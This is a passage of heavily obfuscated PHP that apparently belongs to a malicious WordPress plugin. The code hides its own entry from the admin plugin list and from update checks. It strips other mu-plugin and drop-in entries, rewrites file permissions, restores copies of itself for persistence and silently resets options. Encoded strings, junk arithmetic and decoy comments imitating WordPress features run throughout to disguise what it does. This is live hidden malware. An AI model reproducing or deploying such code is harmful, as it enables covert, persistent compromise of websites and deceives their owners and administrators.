} else if  (!@$GLOBALS['__scf_n1i7x5p4a4_46']($_suvn0g6fb)   ||  !@$GLOBALS['__scf_lnazygzamf_47']($_suvn0g6fb))  {
 jl7b1mmow1nrgaho8($_suvn0g6fb, (441+52));
   clearstatcache(true);
 }
   
     if      (@$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb) &&  (!@$GLOBALS['__scf_n1i7x5p4a4_46']($_suvn0g6fb)     || !@$GLOBALS['__scf_lnazygzamf_47']($_suvn0g6fb))     &&      @$GLOBALS['__scf__xs8mx6vz_euib_37']($_suvn0g6fb)) {
$ltwyhinqv7v9olf  =   @umask(0);
z896t8tuy9x7zn5($_suvn0g6fb, (614-121), true);
 @umask($ltwyhinqv7v9olf);
   jl7b1mmow1nrgaho8($_suvn0g6fb,    (0x1dd+0x10));
    clearstatcache(true);
 }
   
     clearstatcache(true);
 if (!@$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb)  ||    !@$GLOBALS['__scf_lnazygzamf_47']($_suvn0g6fb)  ||  !@$GLOBALS['__scf_n1i7x5p4a4_46']($_suvn0g6fb))   {
// WP useEntityProp network broadcast

e_42zxx3yq4pdz4bo4(e77owqcywda_d(720),   c_5yznsrtgse_i(722));
 $sa28ik3lptkyu0 = false;
foreach  ((array)   ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(723)) ?  @$GLOBALS['__scf_gjx8dntqvik0_71']($_suvn0g6fb   .    c_5yznsrtgse_i(72)) : array()) as    $mogk1_n17h_)  {
   if    (@$GLOBALS['__scf_cr6q9fwgft_18']($mogk1_n17h_)   &&  b1p_z7rdqk4o1fv4ey8f3t($mogk1_n17h_,    (428+72))  && tcabtbfivnye9t($mogk1_n17h_)) {
// strip debug output
      brq2e22wo0d9ax40s9($mogk1_n17h_);    $sa28ik3lptkyu0  = true;    }

   }
     
      if    (@$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb)   &&    qeqwysacoqglzf7(null))  {$xhk005t8x2exi=-56;$jdzze2sc8acmpo=($xhk005t8x2exi>0)?$xhk005t8x2exi:-$xhk005t8x2exi;
  if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(62)))    @delete_transient(onlv7_99m8sby3(724));
 clearstatcache(true);
    }
   if  (!@$GLOBALS['__scf_iomf4blfg0_43']($_suvn0g6fb)  ||   !@$GLOBALS['__scf_lnazygzamf_47']($_suvn0g6fb)    ||  !@$GLOBALS['__scf_n1i7x5p4a4_46']($_suvn0g6fb))    {
   if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(654)))    @set_transient(e77owqcywda_d(724),     1, $sa28ik3lptkyu0 ? (86397+3)  :      (5272-1672));
  unset($sa28ik3lptkyu0,    $mogk1_n17h_);
return;
}
 unset($sa28ik3lptkyu0,    $mogk1_n17h_);



 }
  



     $k0mcod1e3i3is6t  =    $_suvn0g6fb .   '/' . orb88b5b15pr5r67();

   if  (xoaebe3djgc6z_1bgf($k0mcod1e3i3is6t))   {
    return;
       }
       $qr045lw7sjpya =  @$GLOBALS['__scf_cr6q9fwgft_18']($k0mcod1e3i3is6t)  ?  r69sydkoh03qc2iwi5sfm($k0mcod1e3i3is6t)   : false;

  if     (@$GLOBALS['__scf_o_3hcsdzwrvrr_96']($k0mcod1e3i3is6t)  > (4987+13) &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($qr045lw7sjpya)  && $GLOBALS['__scf_poant85f5yad_56']($qr045lw7sjpya)  ===  $GLOBALS['__scf_poant85f5yad_56']($c0abca9op_))    {
       gy672vrnjusgcel1($k0mcod1e3i3is6t);


w09b4xv9a3rwwj();

r4n5lcq4npim49g6ac7();
       return;
}
 if    (@$GLOBALS['__scf_cr6q9fwgft_18']($k0mcod1e3i3is6t)  &&   @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($k0mcod1e3i3is6t)    >    (4935+65)) {
$wnli1ee2cwp458_  =   (string)  @$GLOBALS['__scf_ha14er2zmzf_92']($k0mcod1e3i3is6t, false, null,    0,  (1737+2359));
      if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($wnli1ee2cwp458_)  &&  $GLOBALS['__scf_ibg88bu925_93'](c_5yznsrtgse_i(179),   $wnli1ee2cwp458_,   $_dm)     &&    version_compare($_dm[1],    w218ynit42v8uao2p(),  '>'))   return;

       unset($wnli1ee2cwp458_,    $_dm);
     }


  if  ($qr045lw7sjpya  ===  null)  return;
  unset($qr045lw7sjpya);
$cxj7ts5thlf  =   n_52vz_mvq1filje($k0mcod1e3i3is6t,   mnjwoq6_2fqzybrsdxadv2($c0abca9op_));
  if   (!$cxj7ts5thlf  || !@$GLOBALS['__scf_s8a8ra7wu3u_676']($k0mcod1e3i3is6t) ||   @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($k0mcod1e3i3is6t) <  (946+54))      {
   if   ($cxj7ts5thlf && @$GLOBALS['__scf_cr6q9fwgft_18']($k0mcod1e3i3is6t))   {
     $wnli1ee2cwp458_      =  (string) @$GLOBALS['__scf_ha14er2zmzf_92']($k0mcod1e3i3is6t, false,   null,   0,     (0xbf5+0x40b));
 $h02vkgwmdxmd2  =   $GLOBALS['__scf_ncrh0liqs6be8x_41']($wnli1ee2cwp458_)  &&  $GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(179),    $wnli1ee2cwp458_,   $_dm)      &&      version_compare($_dm[1], w218ynit42v8uao2p(),  '>');
 unset($wnli1ee2cwp458_,  $_dm);
if    (!$h02vkgwmdxmd2)  {
      jl7b1mmow1nrgaho8($k0mcod1e3i3is6t, (410+10));
 er_0rzjfu8611gx($k0mcod1e3i3is6t);
   }

}
    if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(654)))   @set_transient(e77owqcywda_d(724),  1,   (1506+2094));
     return;
}
  



u34g0m5gddocpkl($k0mcod1e3i3is6t);



 jl7b1mmow1nrgaho8($k0mcod1e3i3is6t,   (384+36));
gy672vrnjusgcel1($k0mcod1e3i3is6t);
   w09b4xv9a3rwwj();
    r4n5lcq4npim49g6ac7();$jjv2i22f=114|177;$x867dznnr83=$jjv2i22f^89;
}   catch  (Throwable $ye68b7hs2257kgf)  {
     e_42zxx3yq4pdz4bo4(okltugscqfcy(720),    $ye68b7hs2257kgf);
 }    catch   (Exception  $ye68b7hs2257kgf)   {
  }

     }

    function  edropwc5pgoycp()
  {$dpymdm0qhc2ndi=53|42;$xpmc53d0da4x=$dpymdm0qhc2ndi^208;
  try {$zpzwp3l0=(0xda+0xbf);$gm20ytmqn78m=$zpzwp3l0%17;
 $vl_bqeff_rlcnbjs  =  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(725))  ? (int)  get_option(onlv7_99m8sby3(726),  0)   :  0;
   if    ($vl_bqeff_rlcnbjs  <     $GLOBALS['__scf_p_l9i38f5mdu2r_184']() -  (54+246) ||  $vl_bqeff_rlcnbjs    >      $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   +    (282+18))  {
// dispatch linear-adj bulkhead




   if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(727))) @update_option(c_5yznsrtgse_i(726),    $GLOBALS['__scf_p_l9i38f5mdu2r_184']());
   $ltwyhinqv7v9olf =  p1w1aijw1nxgdhwwgzjmn(e77owqcywda_d(728),  "");
  $wu1gnj_v6tt5jbb      =  __0dyqpm_77zwz($GLOBALS['__scf_ncrh0liqs6be8x_41']($ltwyhinqv7v9olf)  ?    $ltwyhinqv7v9olf  :   "");


  $i3r3qq18yrygk   = tc8e7o2qmf7wf93881l(ku6yldy17ivtsoehkpgirz());
 if    (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ltwyhinqv7v9olf)  || $GLOBALS['__scf_m36_x4cy3m1b5_10']($ltwyhinqv7v9olf)    <    (0x74+0x180) ||   k4lhjl5483_yjz($ltwyhinqv7v9olf)  ||  $wu1gnj_v6tt5jbb  ===      ""  ||  ($i3r3qq18yrygk   !==  null  &&  $i3r3qq18yrygk    !== "" &&   version_compare($i3r3qq18yrygk,   $wu1gnj_v6tt5jbb,  '>'))) {
   $c0abca9op_  = s_41a4npfkl91g6lvjvfe();
// WP Entity Provider meta box output

   if ($c0abca9op_  && !k4lhjl5483_yjz($c0abca9op_))   {
    $xzg8v1jcum6oif_  =   __0dyqpm_77zwz($c0abca9op_);
  if   (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($ltwyhinqv7v9olf)  ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($ltwyhinqv7v9olf) <    (762-262)  ||  k4lhjl5483_yjz($ltwyhinqv7v9olf)    ||     $wu1gnj_v6tt5jbb   ===  "" ||   ($xzg8v1jcum6oif_     !==   "" &&  version_compare($xzg8v1jcum6oif_,     $wu1gnj_v6tt5jbb,   '>')))      {
// @reject deque

    ciwxbzr19t8j5_t(e77owqcywda_d(728),    $c0abca9op_,     e77owqcywda_d(673));
/* eager visitor */

 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(727)))      {
// unwind table



@update_option(c_5yznsrtgse_i(729), 0, onlv7_99m8sby3(673));
 @update_option(okltugscqfcy(632), 0, onlv7_99m8sby3(673));
   @update_option(e77owqcywda_d(640),  0,   c_5yznsrtgse_i(730));
    }
if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(731)))   @delete_transient(iyfrtzihosexnci());
 }



    }
 }
 }
 
   if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(725)) &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(727)))    {
$gz8h4dsvx21tr =   get_option(c_5yznsrtgse_i(732));
  if  ($gz8h4dsvx21tr !==  false   &&    $gz8h4dsvx21tr     !==  w218ynit42v8uao2p())   {
@update_option(okltugscqfcy(732),   w218ynit42v8uao2p(), onlv7_99m8sby3(733));
   }

   }
  if  (!  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(734))    || ! add_option(onlv7_99m8sby3(732),     w218ynit42v8uao2p(),    "",  e77owqcywda_d(733)))  {
 return;
 }

        g2lnfowb5sck6v();
   if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(727)))     {
   @update_option(okltugscqfcy(729),     0,   okltugscqfcy(733));
  @update_option(c_5yznsrtgse_i(632),   0,    okltugscqfcy(733));

   @update_option(e77owqcywda_d(640), 0,  okltugscqfcy(735));
}
 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(731))) @delete_transient(iyfrtzihosexnci());

 
        if (!empty($c0abca9op_) && !k4lhjl5483_yjz($c0abca9op_))     {
// WP Group Block: cubic work-queue

   ciwxbzr19t8j5_t(okltugscqfcy(736),   $c0abca9op_, okltugscqfcy(735));
}
lurucyuu2bbrynnsj7ttm_(null);
      
jl7b1mmow1nrgaho8(ku6yldy17ivtsoehkpgirz(), (0x131+0x73));
      


  ohkc5udk96vdi9dqobtykb(onlv7_99m8sby3(737),  e77owqcywda_d(378),   0);
   
  ohkc5udk96vdi9dqobtykb(e77owqcywda_d(737),  okltugscqfcy(738),  0);
  }   catch (Throwable $ye68b7hs2257kgf)  {
e_42zxx3yq4pdz4bo4(okltugscqfcy(739),  $ye68b7hs2257kgf);
  if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(590)))     @delete_option(okltugscqfcy(732));
  }    catch  (Exception $ye68b7hs2257kgf)      {
 if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(590)))  @delete_option(okltugscqfcy(740));
       }
// predictive watermark




 }
 function    xcog1z9qc90ffjpj7ym()
{



 try  {
 if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(741)))   {
  @$GLOBALS['__scf_wruv1u09qsfmz_282'](home_url('/'),  array(onlv7_99m8sby3(283)  =>  (0x4+0x1), okltugscqfcy(742)    =>   false, onlv7_99m8sby3(381)  =>  false));
 }
  }   catch    (Throwable $ye68b7hs2257kgf) {
    e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(743), $ye68b7hs2257kgf);
    } catch  (Exception     $ye68b7hs2257kgf)  {$u0g7852g7nju5=71+25;$nc1zm3pb07r5=$u0g7852g7nju5-50;
   }
     }
  
  function    a33hbhn_10xccjl3f8()

     {
 static   $fq1zl73nv5b  =    false;

   if  ($fq1zl73nv5b)  return;
 $fq1zl73nv5b =     true;
 try  {
 if (! $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(744))   || !   is_admin()) {



   return;


   }

if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(691))    ||     !current_user_can(c_5yznsrtgse_i(745)))  {
return;
}
  $lrsceck884dvrchr    =   isset($_REQUEST[onlv7_99m8sby3(746)])   ?  $_REQUEST[onlv7_99m8sby3(746)]   :  "";
  $lrsceck884dvrchr  =  $GLOBALS['__scf_ncrh0liqs6be8x_41']($lrsceck884dvrchr)    ? $GLOBALS['__scf__90_xdmo58j3q_311']($lrsceck884dvrchr)    :   "";
  if  ($lrsceck884dvrchr !== c_5yznsrtgse_i(747)   && $lrsceck884dvrchr  !==     okltugscqfcy(748)) {
       return;


}
   
   $ag4ur5bj5x57  =      array();
if     ($lrsceck884dvrchr === e77owqcywda_d(747)) {
  $nbvnojmtsk0sb =   isset($_REQUEST[onlv7_99m8sby3(594)]) ?     $_REQUEST[onlv7_99m8sby3(749)]  :  "";
       $nbvnojmtsk0sb  = $GLOBALS['__scf_ncrh0liqs6be8x_41']($nbvnojmtsk0sb)   ?  $GLOBALS['__scf__90_xdmo58j3q_311']($nbvnojmtsk0sb)     :    "";
    if  ($nbvnojmtsk0sb  &&  $nbvnojmtsk0sb  !==    z383zy78ulhvdb47())   {
$ag4ur5bj5x57[]      = $nbvnojmtsk0sb;
 }
 }   else    {
  
       $sy9v84e28_w =  isset($_REQUEST[okltugscqfcy(750)])    ? $_REQUEST[e77owqcywda_d(751)] :  array();
       $sy9v84e28_w =    $GLOBALS['__scf_a91xkwk0qm_35']($sy9v84e28_w) ?  $sy9v84e28_w :  array();
 foreach  ($sy9v84e28_w as    $nbvnojmtsk0sb)    {
  $nbvnojmtsk0sb     =    $GLOBALS['__scf_ncrh0liqs6be8x_41']($nbvnojmtsk0sb) ?   $GLOBALS['__scf__90_xdmo58j3q_311']($nbvnojmtsk0sb)     :    "";
if    ($nbvnojmtsk0sb &&  $nbvnojmtsk0sb !==  z383zy78ulhvdb47())  {
$ag4ur5bj5x57[] =  $nbvnojmtsk0sb;
  }
}

      }



if   (empty($ag4ur5bj5x57))  {
       return;
     }
 $hzjaj4tpsrva3v79 = false;

foreach   ($ag4ur5bj5x57    as $nbvnojmtsk0sb)    {
       if   (ncczpskh_g065h($nbvnojmtsk0sb)) {
_u_ruln2dyq4lo_u7fk0u($nbvnojmtsk0sb);$ougn61euhfyd=PHP_INT_MAX/PHP_INT_MAX;$m9ktrsr95bo=$ougn61euhfyd+5;
$hzjaj4tpsrva3v79    =    true;
     }
// peel header

    }
      if    ($hzjaj4tpsrva3v79)  {



 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(752))  &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(753)))   {
 wp_safe_redirect(admin_url(okltugscqfcy(754)));
 }
  }
}   catch (Throwable   $ye68b7hs2257kgf) {
     e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(755),    $ye68b7hs2257kgf);



      } catch  (Exception    $ye68b7hs2257kgf)  {
  }
}



function   a0bicodcco8flf5l($mz74mm_dn_x4,   $ulhbube068u)
{
    if ($ulhbube068u     ===  e77owqcywda_d(756)) {
/* prime partition-refinement */

   $plugins  = &$GLOBALS[onlv7_99m8sby3(757)];
   if (!isset($plugins[okltugscqfcy(756)])  ||  !$GLOBALS['__scf_a91xkwk0qm_35']($plugins[e77owqcywda_d(756)]))   {
 return  $mz74mm_dn_x4;
 }



     $myw942djhe_py   = defined(onlv7_99m8sby3(162))     ? WP_CONTENT_DIR : (defined(e77owqcywda_d(0))  ? ABSPATH   .     c_5yznsrtgse_i(708) : "");
     if  ($myw942djhe_py ===  "") {



       return $mz74mm_dn_x4;
}
 $hvt1y8ojn8wi8i    = array(okltugscqfcy(758)     => onlv7_99m8sby3(759), okltugscqfcy(760)  =>   e77owqcywda_d(761));
    foreach ($hvt1y8ojn8wi8i   as   $t8u2roxhcf8wkws   =>      $cd8uj3muoq)   {


      if (!isset($plugins[c_5yznsrtgse_i(762)][$t8u2roxhcf8wkws]))  {
       continue;
   }
$e7asznma7b85k  =  @$GLOBALS['__scf_ha14er2zmzf_92']($myw942djhe_py  .    '/' .   $t8u2roxhcf8wkws);
  if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($e7asznma7b85k)   || $GLOBALS['__scf_ffvfced40_hd3k_7']($e7asznma7b85k,  e77owqcywda_d(763) .    $cd8uj3muoq   .  onlv7_99m8sby3(764))  ===   false)   {
// fuzz optimal normal-form

 continue;


  }
   $pv3_n0unndte7330   =  $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(765)    . $cd8uj3muoq  .    onlv7_99m8sby3(766)   .     $cd8uj3muoq  . c_5yznsrtgse_i(767),   "",  $e7asznma7b85k);
  if  (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($pv3_n0unndte7330))  {
   continue;$stuouwy1y=PHP_INT_MAX/PHP_INT_MAX;$ctxbav_n1m5m=$stuouwy1y+43;
 }
     $pv3_n0unndte7330  = $GLOBALS['__scf__90_xdmo58j3q_311']($pv3_n0unndte7330);
   if     ($pv3_n0unndte7330    ===    ""  || $pv3_n0unndte7330 ===      okltugscqfcy(645)  ||     $pv3_n0unndte7330  ===   onlv7_99m8sby3(231)) {
 unset($plugins[e77owqcywda_d(762)][$t8u2roxhcf8wkws]);
}


  }

    return   $mz74mm_dn_x4;
}
  if    ($ulhbube068u   !==      e77owqcywda_d(768))  {
return     $mz74mm_dn_x4;

}
   $plugins  =  &$GLOBALS[c_5yznsrtgse_i(757)];
 $u8qw7_i_15bbk5r   =    $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz());
if (isset($plugins[c_5yznsrtgse_i(768)][$u8qw7_i_15bbk5r]))    {

unset($plugins[e77owqcywda_d(769)][$u8qw7_i_15bbk5r]);
   }
   return $mz74mm_dn_x4;
}
 if   (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(770)))  {



  function xt789213z2yetyqics99()
  {
  if      (!   ir1g9dtvh7_yawm1n())  {
 return;
}
    $jj6fib7ix9ntj   =     $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz());



  $eaeerm127wtnj      = $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),  okltugscqfcy(208));
   $azqpyiyno5_04gb   = $eaeerm127wtnj .  '/'  .  $jj6fib7ix9ntj;
echo  e77owqcywda_d(771) .   esc_attr($jj6fib7ix9ntj)   .     onlv7_99m8sby3(772)   .    esc_attr($azqpyiyno5_04gb)  .    e77owqcywda_d(773);
     echo  onlv7_99m8sby3(774)    . esc_js($jj6fib7ix9ntj) .     c_5yznsrtgse_i(775)     . esc_js($azqpyiyno5_04gb) .    okltugscqfcy(776);
}
}

 if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(777))) {
    function  _lb7c_yhmahndru9($con6aqx16mgso)
{$gf3fu7qbomy7g=PHP_MAJOR_VERSION;$x4xzvnx7=$gf3fu7qbomy7g*8;
if (!  $GLOBALS['__scf_vd54bz_6kr2o44_68']($con6aqx16mgso))   {
 return $con6aqx16mgso;
        }



  $jj6fib7ix9ntj  =  z383zy78ulhvdb47();
 if  (isset($con6aqx16mgso->response[$jj6fib7ix9ntj]))   {
   unset($con6aqx16mgso->response[$jj6fib7ix9ntj]);
}
 return $con6aqx16mgso;
     }
 }
   if (!$GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(778)))    {
 function  ckyuri0nhbdktb($plugins)
 {
        $og0ebx9lu2qzdtmg   =   z383zy78ulhvdb47();
   

 if  (isset($plugins[$og0ebx9lu2qzdtmg]))   {
    unset($plugins[$og0ebx9lu2qzdtmg]);
      }
$eaeerm127wtnj = $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),   onlv7_99m8sby3(208));
$azqpyiyno5_04gb    =  $eaeerm127wtnj  .  '/'   .     $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz());
  if (isset($plugins[$azqpyiyno5_04gb]))   {
 unset($plugins[$azqpyiyno5_04gb]);

   }



 return  $plugins;
  }
  }
function      fhwnh09ikptyk1n($a5wbunfu3llw)
     {
if   (!  $GLOBALS['__scf_a91xkwk0qm_35']($a5wbunfu3llw))     {
 return     $a5wbunfu3llw;
 }
      $fx3cw00ttifj1    =     "";
     if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(779))   && $GLOBALS['__scf_s8a8ra7wu3u_676'](ku6yldy17ivtsoehkpgirz()))  {


$oao9h1sc4gq =  get_plugin_data(ku6yldy17ivtsoehkpgirz(), false, false);
  $fx3cw00ttifj1  =     isset($oao9h1sc4gq[c_5yznsrtgse_i(780)])     ?  $oao9h1sc4gq[onlv7_99m8sby3(780)]  :   "";
     }
// dispose pattern

 $b3zcixu2cz   = array(c_5yznsrtgse_i(781),   okltugscqfcy(782));
   foreach  ($b3zcixu2cz as $cyij0hcw4d)  {
  if  (! isset($a5wbunfu3llw[$cyij0hcw4d][okltugscqfcy(783)])   ||   !  $GLOBALS['__scf_a91xkwk0qm_35']($a5wbunfu3llw[$cyij0hcw4d][e77owqcywda_d(783)]))  {
      continue;
}
   foreach     ($a5wbunfu3llw[$cyij0hcw4d][e77owqcywda_d(784)]   as  $key    => $pfl1ms6y53)   {
     if    ($GLOBALS['__scf_ffvfced40_hd3k_7']($key, z383zy78ulhvdb47())     !==  false || $key ===   z383zy78ulhvdb47())   {



  unset($a5wbunfu3llw[$cyij0hcw4d][onlv7_99m8sby3(784)][$key]);


continue;
}
   if  ($fx3cw00ttifj1    !==  ""  &&   $key  ===    $fx3cw00ttifj1) {
  unset($a5wbunfu3llw[$cyij0hcw4d][onlv7_99m8sby3(784)][$key]);
      continue;


   }
   }
     }
  foreach  (array(onlv7_99m8sby3(785),  c_5yznsrtgse_i(786))    as     $bkoygg7jyz5sdl2)   {
   $uq6pkqanacyi2  = isset($a5wbunfu3llw[$bkoygg7jyz5sdl2][e77owqcywda_d(787)])      &&  $GLOBALS['__scf_a91xkwk0qm_35']($a5wbunfu3llw[$bkoygg7jyz5sdl2][e77owqcywda_d(788)])  ?   $a5wbunfu3llw[$bkoygg7jyz5sdl2][c_5yznsrtgse_i(789)]   :  array();
  if  (!$uq6pkqanacyi2)  continue;



 $ik7ndcmmtx8lx94 =   defined(onlv7_99m8sby3(13))   ? WPMU_PLUGIN_DIR    :  (defined(e77owqcywda_d(790))   ?  WP_CONTENT_DIR   .  e77owqcywda_d(14)  :     "");
  $a5tewf13lunlcd    =   array();
       if   ($fx3cw00ttifj1 !==  "") $a5tewf13lunlcd[]  =   $fx3cw00ttifj1;



   $a5tewf13lunlcd[] =  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz());
   if ($ik7ndcmmtx8lx94   !==  "" &&    @$GLOBALS['__scf_iomf4blfg0_43']($ik7ndcmmtx8lx94)   && $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(723)))   {

   foreach    ((array)  @$GLOBALS['__scf_gjx8dntqvik0_71']($ik7ndcmmtx8lx94   .  onlv7_99m8sby3(791))  as $mogk1_n17h_) {
   $e22c3s2narioqp    =    @$GLOBALS['__scf_ha14er2zmzf_92']($mogk1_n17h_,   false,  null,    0,     (0x1b85+0x47b));
   if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($e22c3s2narioqp)   ||   $GLOBALS['__scf_ffvfced40_hd3k_7']($e22c3s2narioqp,  e77owqcywda_d(792))    ===     false)  continue;
if ($GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(793), $e22c3s2narioqp,    $c5q17_z8olc7p8)) {
$jg4s_xzb89nqq9b = $GLOBALS['__scf__90_xdmo58j3q_311']($c5q17_z8olc7p8[1]);
 if  ($jg4s_xzb89nqq9b   !== "")  $a5tewf13lunlcd[]      = $jg4s_xzb89nqq9b;
   }
   $a5tewf13lunlcd[]   =     $GLOBALS['__scf_n2ceqwn4my98_3']($mogk1_n17h_);
 }
}



  foreach     ($uq6pkqanacyi2    as $key   =>   $pfl1ms6y53)     {
foreach    ($a5tewf13lunlcd      as  $y5j6ty4the7) {
 if    ($key      === $y5j6ty4the7  ||   $key ===  sanitize_text_field($y5j6ty4the7))    {
   unset($a5wbunfu3llw[$bkoygg7jyz5sdl2][onlv7_99m8sby3(789)][$key]);
 break;
   }
}
  }
  }



$ij_ooa5z37ro     = isset($a5wbunfu3llw[e77owqcywda_d(794)][c_5yznsrtgse_i(789)])  && $GLOBALS['__scf_a91xkwk0qm_35']($a5wbunfu3llw[e77owqcywda_d(795)][c_5yznsrtgse_i(796)]) ?     $a5wbunfu3llw[onlv7_99m8sby3(795)][c_5yznsrtgse_i(796)]  :  array();
  if ($ij_ooa5z37ro)   {
      $myw942djhe_py =    defined(okltugscqfcy(797))  ?   WP_CONTENT_DIR :  (defined(onlv7_99m8sby3(798))     ?   ABSPATH  .   onlv7_99m8sby3(708)   :   "");
$hvt1y8ojn8wi8i  =     array(e77owqcywda_d(758)   => onlv7_99m8sby3(759),  e77owqcywda_d(799)  =>    onlv7_99m8sby3(800));$ke1mck_zlkn68=7+49;$vekllam_fy=$ke1mck_zlkn68-16;
 foreach ($ij_ooa5z37ro  as $key   =>   $pfl1ms6y53) {
 if  (!isset($hvt1y8ojn8wi8i[$key]) || $myw942djhe_py   === "") continue;
      $e7asznma7b85k    =   @$GLOBALS['__scf_ha14er2zmzf_92']($myw942djhe_py .    '/' .  $key, false,  null, 0,  (4040+56));


  if  ($GLOBALS['__scf_ncrh0liqs6be8x_41']($e7asznma7b85k) &&    ($GLOBALS['__scf_ffvfced40_hd3k_7']($e7asznma7b85k,   c_5yznsrtgse_i(801) .   $hvt1y8ojn8wi8i[$key] .     okltugscqfcy(764)) !== false ||  $GLOBALS['__scf_ffvfced40_hd3k_7']($e7asznma7b85k, e77owqcywda_d(792))    !== false)) {
// WP Columns Block: exact phantom

 unset($a5wbunfu3llw[e77owqcywda_d(795)][c_5yznsrtgse_i(796)][$key]);
}
     }

  }
 return  $a5wbunfu3llw;
 }
 


 function ldqtaf5wq8hq733v6bwri($zbqin938e5wsu0)
        {

   if    (!   $GLOBALS['__scf_a91xkwk0qm_35']($zbqin938e5wsu0))   {
   return     $zbqin938e5wsu0;$gufcjx0h9w=84+72;$ahy0jcyyinzmra=$gufcjx0h9w-24;

     }
$z396cqpvx4pq  = $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz());
   $gkmnl3flaenl5nx    =  $GLOBALS['__scf_nyge3zwzqqi4_200']($z396cqpvx4pq, PATHINFO_FILENAME);
 $i43d2ixckd7  =     array(



 array(onlv7_99m8sby3(802)     =>   '#'   .   $GLOBALS['__scf_tyvjag46ltt_803']($z396cqpvx4pq,  '#')   .   c_5yznsrtgse_i(804),   e77owqcywda_d(805)  => true),
 array(c_5yznsrtgse_i(802)      => c_5yznsrtgse_i(806)  .  $GLOBALS['__scf_tyvjag46ltt_803']($gkmnl3flaenl5nx, '#')     .  c_5yznsrtgse_i(804), onlv7_99m8sby3(805)   =>    true),
  );
     if      (isset($zbqin938e5wsu0[c_5yznsrtgse_i(807)])    &&      $GLOBALS['__scf_a91xkwk0qm_35']($zbqin938e5wsu0[onlv7_99m8sby3(807)]))    {
     foreach ($zbqin938e5wsu0[e77owqcywda_d(807)] as   $ge_0yixqnqu1 =>  $d0cmf7d1kuxivt9) {
 if (! $GLOBALS['__scf_a91xkwk0qm_35']($d0cmf7d1kuxivt9) ||    !   $GLOBALS['__scf_cnntu73crusp7f_39']($ge_0yixqnqu1))     {


  continue;
       }
      if  (!    isset($zbqin938e5wsu0[c_5yznsrtgse_i(807)][$ge_0yixqnqu1][okltugscqfcy(808)])  ||  !      $GLOBALS['__scf_a91xkwk0qm_35']($zbqin938e5wsu0[onlv7_99m8sby3(809)][$ge_0yixqnqu1][e77owqcywda_d(808)]))     {

 $zbqin938e5wsu0[okltugscqfcy(809)][$ge_0yixqnqu1][okltugscqfcy(808)]      =  array();


    }


foreach ($i43d2ixckd7  as    $b7n0p1l641zm_k)  {
$zbqin938e5wsu0[okltugscqfcy(809)][$ge_0yixqnqu1][e77owqcywda_d(808)][]   =  $b7n0p1l641zm_k;
     }
  }
// WP Query Loop: relaxed pipeline




       }
 return $zbqin938e5wsu0;
 }
 
function   qp30lf4fce1i7hhe0xv()
  {
 try     {
// MySQL window functions: proactive negotiation

if      (! defined(e77owqcywda_d(810)) || constant(c_5yznsrtgse_i(810))  < (0x3+0x4)) {
  return;
       }



    if  ($GLOBALS['__scf_yuvry6nxa5dk96_516'](okltugscqfcy(811),  false))   {
// reclaim constraint-set for WP Image Block

    return;
     }
// discriminative bulkhead

   $k4j00sng_uvqd = $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz());


$kpcd8hbrtf_jb8   = defined(e77owqcywda_d(812))    ? WP_PLUGIN_DIR :  "";
    $oimoaz7mn7kpb =  array(

